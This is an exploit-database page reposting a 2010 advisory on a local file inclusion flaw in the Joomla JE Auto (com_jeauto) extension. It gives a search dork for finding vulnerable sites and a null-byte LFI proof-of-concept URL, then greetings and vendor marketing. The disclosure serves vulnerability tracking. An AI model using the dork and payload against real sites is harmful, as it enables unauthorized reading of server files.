Lucene search
K

Joomla JE Auto Local File Inclusion

🗓️ 18 Dec 2010 00:00:00Reported by Sid3 effectsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Joomla com_jeauto LFI Vulnerability Dec 7, 2010. User can see and rate categorized car items with Google Map integration. Admin can customize category and item pages and fields dynamically from the backend

Code
`#Name : Joomla com_jeauto LFI Vulnerability  
#Date : Dec,7 2010  
#Vendor Url :http://joomlaextensions.co.in/jeauto  
#Dork:inurl:com_jeauto  
#Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>  
#Big hugs : Th3 RDX,Hanan_butt,  
#special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,SeeMe,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!  
  
Te,n4pst3rr,tranquiller  
#greetz to :!Op3x_ninjato team,www.topsecure.net ,trent Dillman,All ICW members and my friends :) luv y0 guyz  
#######################################################################################################  
Description:  
User can also see the category at the front page. Category wise items (cars) are displayed in it. Click on the  
  
particular category it will display that category item. If user wants to see that item (car) then click on that  
  
item (car) then it will display the item full description.  
User can see the item’s in the Google Map. User can also rate the particular item (car). We have put the Ajax  
  
rating control to rate the item (car). Admin can set the design of category page, item (car) page and item (car)  
  
detail page from the back end. Admin can also create the fields dynamically from the back end.  
  
###############################################################################################################  
Exploit:  
http://server/jeauto/index.php?option=com_jeauto&view=[LFI]%00  
  
###############################################################################################################  
Fix:  
N/a  
###############################################################################################################  
# 0day no more  
# Sid3^effects  
# 1337day.com  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2010 00:00Current
0.2Low risk
Vulners AI Score0.2
44